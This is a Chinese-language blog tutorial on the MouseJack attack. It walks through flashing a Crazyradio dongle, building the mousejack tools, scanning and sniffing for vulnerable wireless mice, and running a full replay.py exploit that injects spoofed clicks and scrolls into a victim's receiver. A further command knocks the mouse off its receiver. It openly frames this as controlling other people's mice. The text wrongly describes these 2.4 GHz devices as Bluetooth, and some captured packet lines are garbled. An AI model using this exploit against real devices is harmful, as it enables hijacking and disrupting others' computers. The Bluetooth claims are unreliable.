0×00 前言

近期安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的。黑客可对一百米范围内存在漏洞的蓝牙无线键鼠进行嗅探甚至劫持,从而控制受害者电脑,向计算机中输入任何指令!在本文中我们将演示如何利用mouseJack控制别人的鼠标。

0×01 环境搭建

刚开始选设备的时候在淘宝买了一块nRF24LU1 2.4GHz无线数传模块 和 2.4GHz nRF24LU1+PA+LAN 无线数传模块

结果硬是被坑了一个星期,期间在乌云drops看到三好学生的Mousejack测试指南一文后改用Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle。

1.1设备:

1.Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle:

2.戴尔DELL某款存在漏洞的键鼠

3.笔记本、虚拟机:Virtual Box 、OS:kali

1.2 插入设备&安装驱动

插入Crazyradio nRF24LU1+ USB radio dongle,如果是Windows的主机需要通过zadig来安装Crazyradio nRF24LU1+ USB radio dongle的硬件驱动:

1.3 环境部署

apt-get install sdcc binutils python python-pip
pip install -U pip
pip install -U -I pyusb
pip install -U platformio

接着把设备接入到虚拟机,执行lsusb检测设备是否识别:(注 刚买的设备在这一步可以看到有个设备的id为1915:7777,本文中使用的设备已经执行完下文所有步骤,所以文中截图的ID值有所不同)

1.4刷入crazyradio pa固件

git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware python usbtools/launchBootloader.py 这一步最好在Virtual Box中执行,如果使用VM将会报错! https://github.com/bitcraze/crazyradio-firmware/releases/download/0.53/cradio-pa-0.53.bin 下载cradio pa模块固件 python usbtools/nrfbootload.py flash cradio-pa-0.53.bin 烧录固件

此时重插拔设备,然后执行lsusb Crazyradio nRF24LU1+ USB radio dongle设备的ID为1915:1011

1.5编译MouseJack项目

git clone https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install

绿色部分以及上一行提示固件刷入成功,需要重新插拔一下设备。升级为mousejack的固件时,设备ID为1915:1012。

0×02 蓝牙频段&蓝牙跳频

在扫描嗅探之前我们来了解一下蓝牙的跳频。蓝牙工作于2.4~2.48GHz ISM频段,由于该频段频谱异常拥挤(11b/g,微波炉、WIFI等),并且BlueTooth采用低功耗(-6~+4dBm)。因此为了避免频率的相互冲突,蓝牙采用了AFH(Adaptive Frequency Hopping),LBT(Listen Before Talk),功率控制等抗干扰措施。 AFH 的实现过程为设备识别、信道分类、分类信息交换、自适应跳频。

设备识别:蓝牙设备之间进行互联之前,首先根据链路管理协议(LMP:Link Manager Protocol)交换双方之间的信息,确定双方是否均支持AFH模式,LMP信息中包含了双方应使用的最小信道数。此步骤由主机进行询问,从机回答。

信道分类:首先按照PLRs(Packet Loss Ratios)的门限制、有效载荷的CRC,HEC,FEC误差参数对每一个信道进行评估。从设备测量CRC时,也会自动检测此包的CRC,已决定此包的正误。然后主从设备分别按照LMP的格式形成一份分类表,之后主从设备的跳频会根据此分类表进行。

信道信息交换:主从设备会通过LMP命令通知网络中的所有成员,交换AFH的信息,信道被分为好信道,坏信道,未用信道。主从设备之间联系以确定那些信道可用,那些不可用。

执行AFH:先进性调频编辑,以选择合适的调频频率。由于环境中会存在突发干扰,所以调频的分类表需要进行周期性跟新,并且及时进行相互交流。

小科普:

ISM,Industrial Scientific Medical :工业科学及医疗频带,是无须授权、任何人均可使用频谱的一部分。

蓝牙的波段为2400–2483.5MHz,这是全球范围内无需取得执照(但并非无管制的)的工业、科学和医疗用(ISM)波段的 2.4 GHz 短距离无线电频段。

蓝牙使用跳频技术,将传输的数据分割成数据包,通过79个指定的蓝牙频道分别传输数据包。每个频道的频宽为1 MHz。蓝牙4.0使用2 MHz 间距,可容纳40个频道。第一个频道始于2402 MHz,每1 MHz一个频道,至2480 MHz。有了适配跳频(Adaptive Frequency-Hopping 简称AFH)功能,通常每秒跳1600次。

跳频是Bluetooth使用的关键技术之一。对应于单时隙包,Bluetooth的跳频速率为1600跳每秒,对应于多时隙包,跳频速率有所降低;但在建链时(包括寻呼和查询)则提高为3,200跳每秒。使用这样高的跳频速率,Bluetooth系统具有足够高的抗干扰能力。下图展示的是低功耗蓝牙(Bluetooth Low Energy BLE)的信道:3个广播信道,37个数据信道:

蓝牙信道频率表

BlueTooth 有79个射频信道,按0-78排序,并于2402 MHz开始,以1 MHz分隔:(关于蓝牙和低功耗蓝牙的更多细节可参考:低功耗蓝牙(BLE)入门之如何调戏别人的小米手环 一文)

channel  : 2.402000000 Ghz
channel : 2.403000000 Ghz

channel : 2.480000000 Ghz

0×03扫描

mousejack项目tools目录中有扫描、嗅探等功能的Python脚本:

注:每次执行完脚本的时候需要重新插拔一下Crazyradio,否则下次执行脚本将会出现报错。

这里我们来说一下如何通过扫描查找附近的蓝牙鼠标。

用法: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]

optional arguments:
-h, --help show this help message and exit 显示帮助信息
-c N [N ...], --channels N [N ...] RF channels 指定扫描信道
-v, --verbose Enable verbose output 输出(显示)详细信息
-l, --lna Enable the LNA (for CrazyRadio PA dongles) 启用LAN
-p PREFIX, --prefix PREFIX Promiscuous mode address prefix
-d DWELL, --dwell DWELL Dwell time per channel, in milliseconds

我们可以看到执行扫描脚本后终端打印出了日期-时间、信道、MAC地址数据包数据等。

0×03 嗅探

如何缩小范围捕获指定设备的数据包呢?这里就要用到嗅探脚本了。我们可以对某个设备进行频繁操作,使其不停地发送蓝牙数据包,这样在终端出现的概率随之增加,然后记录其MAC地址,启用指定MAC地址参数嗅探该设备以确定出该款鼠标的蓝牙工作信道(一般为5个信道、不同品牌、型号其值也有所不同)。

用法: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]

optional arguments:
-h, --help show this help message and exit 打印帮助信息
-c N [N ...], --channels N [N ...] RF channels 指定信道
-v, --verbose Enable verbose output 启用详细信息输出
-l, --lna Enable the LNA (for CrazyRadio PA dongles) 启用LAN
-a ADDRESS, --address ADDRESS Address to sniff, following as it changes channels 指定MAC地址
-t TIMEOUT, --timeout TIMEOUT Channel timeout, in milliseconds 设定信道超时值
-k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT ACK timeout in microseconds, accepts [,], step
-r RETRIES, --retries RETRIES Auto retry limit, accepts [,]

我手上有一款存在漏洞的设备,其MAC地址为C6:4A:78:A2:02,这一MAC地址是鼠标的还是USB适配器的我们暂且不说。已知的是:鼠标发送的数据包带这一MAC地址,USB适配器也只接收带有这MAC地址的数据包。执行

./nfr24-sniffer.py -a C6:4A::A2:

然后频繁对鼠标进行操作,我们可以抓取到如下数据:

对其它鼠标进行测试的时候一般可以捕获到五个信道,这款设备我们捕获到了2、15、79、49、83 这五个信道。

其实也可以利用扫描脚本加入-c参数指定信道来进行嗅探:(这种方法会嗅探到其它在同一信道通信的鼠标设备数据,建议在无线鼠标设备少的场景使用此方法)

./nrf24-scanner.py -c     

0×04 攻击

4.1 劫持&重放

在上面的样本中,我们可以发现其中数据的一些规律。通过Crazyradio nRF24LU1+ USB radio dongle我们可以伪装成原装的鼠标,给USB适配器发送十六进制数据包。(可伪造鼠标左右键以及滚轮操作)

鼠标左键数据捕获(只按鼠标左键):

[-- ::57.827]      C6:4A::A2:  :::::::3B::

[-- ::57.834]      C6:4A::A2:  :::::::3B::

[-- ::57.848]      C6:4A::A2:  :::::::3B::

[-- ::57.898]      C6:4A::A2:  :::::::3B::

[-- ::57.937]      C6:4A::A2:  :::::::3B::

[-- ::58.002]      C6:4A::A2:  :::::::3B::

[-- ::58.096]      C6:4A::A2:  :::::::3B::

[-- ::59.362]      C6:4A::A2:  :::::::3B::

鼠标右键数据:

[-- ::18.540]      C6:4A::A2:  :::::::3B::

[-- ::20.316]       C6:4A::A2:  :::::::3B::

[-- ::22.300]      C6:4A::A2:  :::::::3B::

[-- ::27.202]      C6:4A::A2:  :::::::3B::

[-- ::27.275]      C6:4A::A2:  :::::::3B::

[-- ::28.606]      C6:4A::A2:  :::::::3B::

[-- ::29.157]       C6:4A::A2:  :::::::3B::

exp: replay.py

import time, logging
from lib import common
import random
common.init_args('./replay.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-d', '--payloads', type=str, nargs='+' ,help='Need replay payloads', required=True, metavar='S') common.parse_and_init() address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1]) if len(address) < 2:
raise Exception('Invalid address: {0}'.format(common.args.address)) common.radio.enter_sniffer_mode(address) def replay():
payloads = common.args.payloads
c = random.choice(common.channels) print 'Trying address {0} on channel {1}'.format(address_string,c)
common.radio.set_channel(c)
for payload in payloads:
print 'Tring send payload {0}'.format(payload)
payload = payload.replace(':', '').decode('hex')
common.radio.transmit_payload(payload)
time.sleep(0.5) def left_click():
print 'Trying address {0}'.format(address_string)
payloads = ["21:01:00:AB:11:D1"]
common.radio.set_channel(79)
for payload in payloads:
payload = payload.replace(':', '').decode('hex')
common.radio.transmit_payload(payload,2,3)
time.sleep(1.0) def right_click():
print 'Trying address {0}'.format(address_string)
payloads = ["21:02:00:AB:11:D1"]
for c in channels:
common.radio.set_channel(int(c))
for payload in payloads:
payload = payload.replace(':', '').decode('hex')
common.radio.transmit_payload(payload,2,0)
time.sleep(0.5) def down_click():
print 'Trying address {0}'.format(address_string)
payloads = ["01:00:FF:0B:11:D1","01:00:FD:0B:11:D1","01:00:F9:0B:11:D1"]
for c in channels:
common.radio.set_channel(int(c))
for payload in payloads:
payload = payload.replace(':', '').decode('hex')
common.radio.transmit_payload(payload,2,0)
time.sleep(0.3) def up_click():
print 'Trying address {0}'.format(address_string)
payloads = ["01:00:00:0B:11:D1","01:00:03:0B:11:D1","01:00:06:0B:11:D1"]
for c in channels:
common.radio.set_channel(int(c))
for payload in payloads:
payload = payload.replace(':', '').decode('hex')
common.radio.transmit_payload(payload,2,0)
time.sleep(0.3) while True:
replay()
#down_click()
#up_click()
#right_click()
#left_click()
python replay.py -c       -a C6:4A::A2: -d :::::::3B:: :::::::3B:: :::::::3B::
replay目录位置 $mousejack/tools

-c 指定信道

-d 指定需要发送的数据

4.2解除鼠标与USB适配器通讯

./nrf24-network-mapper.py -a C6:4A::A2:

这时需要重新插拔一下无线键盘鼠标的USB适配器,鼠标键盘才能恢复正常使用。

0×05 演示视频

0×06 参考&感谢

https://github.com/RFStorm/mousejack

Mousejack测试指南

Mousejack Hacking : 如何利用MouseJack进行物理攻击的更多相关文章

  1. GnuRadio Hacking②:使用SDR嗅探北欧芯片无线键盘鼠标数据包

    0×00 前言 上半年的时候安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的,黑客可对一两百米范围内存在漏洞的无线键鼠进行嗅探甚至劫持 ...

  2. 如何用极路由+OpenWrt+SDR电视棒搭建SDR服务器

    0×00 前言 近期因为有个从异地捕获无线信号的需求,便尝试着用OpenWrt+公网IP搭建了一台SDR服务器.如果有小伙伴嫌SDR硬件天线看起来太乱.或者电脑没有足够的USB接口也可在局域网搭建SD ...

  3. Google Hacking的用法

    目录 Google Hacking 基本搜索 高级搜索 Index of inurl Google Hacking Google Hacking 是利用谷歌搜索的强大,来在浩瀚的互联网中搜索到我们需要 ...

  4. 如何用极路由+OpenWrt+RTL电视棒搭建一台SDR服务器,并隐秘地捕获和传输数据

    0×00 前言 近期因为有个从异地捕获无线信号的需求,便尝试着用OpenWrt+公网IP搭建了一台SDR服务器.如果有小伙伴嫌SDR硬件天线看起来太乱.或者电脑没有足够的USB接口也可在局域网搭建SD ...

  5. [Debug]驱动程序调测方法与技巧

    转自:http://blog.csdn.net/lichangc/article/details/43272457 驱动程序开发的一个重大难点就是不易调试.本文目的就是介绍驱动开发中常用的几种直接和间 ...

  6. BGP的那些安全痛点(转)

    0x00 BGP(RFC 1771. RFC 4271)定义 全称是Border Gateway Protocol, 对应中文是边界网关协议,最新版本是BGPv4. BGP是互联网上一个核心的互联网去 ...

  7. 20165223《网络对抗技术》Exp6 信息搜集与漏洞扫描

    目录 -- 信息搜集与漏洞扫描 实践说明 实践目标 基础知识问答 实践内容 各种搜索技巧的应用 Google搜索引擎扫描--Google Hacking msf搜索引擎扫描--搜索网址目录结构 搜索特 ...

  8. HW弹药库之红队作战手册

    红方人员实战手册 声明 Author : By klion Date : 2020.2.15 寄语 : 愿 2020 后面的每一天都能一切安好 分享初衷 一来, 旨在为 "攻击" ...

  9. MouseJack:利用15美元的工具和15行代码控制无线鼠标和键盘

    Bastille的研究团队发现了一种针对蓝牙键盘鼠标的攻击,攻击者可以利用漏洞控制你的电脑操作.研究团队将此攻击命名为MouseJack. 七大厂商皆中招 软件工程师马克纽林说:“利用假冒的无线电脑鼠 ...

随机推荐

  1. easylui datagrid 动态生成列

    function load(sdate) { $.getJSON("workorder/statistics.do", { sdate : sdate+'-01' }, funct ...

  2. [问题2014A02] 解答一(两次升阶法,由张钧瑞同学、董麒麟同学提供)

    [问题2014A02] 解答一(两次升阶法,由张钧瑞同学.董麒麟同学提供) 将原行列式 \(|A|\) 升阶,考虑如下 \(n+1\) 阶行列式: \[|B|=\begin{vmatrix} 1 &a ...

  3. 我的android学习经历40

    为listview设置背景,并且不随拖动改变 <ListView android:id="@+id/list_view" android:layout_width=" ...

  4. ns3 Tutorial 中的日志模块(翻译)

      转载地址:http://blog.sina.com.cn/s/blog_8ecca79b0101d7fe.html     1  日志模块的使用   在运行 first.cc 脚本时,我们已经简单 ...

  5. 解决 scroll() position:fixed 抖动、导航菜单固定头部(底部)跟随屏幕滚动

    一.导航栏或者页脚正常情况下固定在页面的相应位置,当页面滚动后,导航栏或者页脚固定在页面的顶部或者底部的情景 一般就是将该块的代码样式的position设置为fixed.固定在顶部的话,将top设置为 ...

  6. 鼠标滑过弹出jquery在线客服

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  7. SG函数 专题练习

    [hdu1536][poj2960]S-Nim 题意 题意就是给出一个数组h,为每次可以取石子的数目. 然后给你n堆石子每堆si.求解先手能不能赢? 分析 根据\(h\)数组预处理出\(sg[i]\) ...

  8. org/objectweb/asm/Type异常解决办法

    关于java.lang.NoClassDefFoundError: org/objectweb/asm/Type 调试SPRING MVC(或者整合SSH)的时候遇到了org/objectweb/as ...

  9. A:石头剪刀布

    总时间限制: 1000ms 内存限制: 65536kB描述石头剪刀布是常见的猜拳游戏.石头胜剪刀,剪刀胜布,布胜石头.如果两个人出拳一样,则不分胜负.一天,小A和小B正好在玩石头剪刀布.已知他们的出拳 ...

  10. pc, 手机全屏

    全屏 1  div{ position:absolute/relative/fixed; top:0; bottom:0; left:0; right:0;} 2 <!doctype html& ...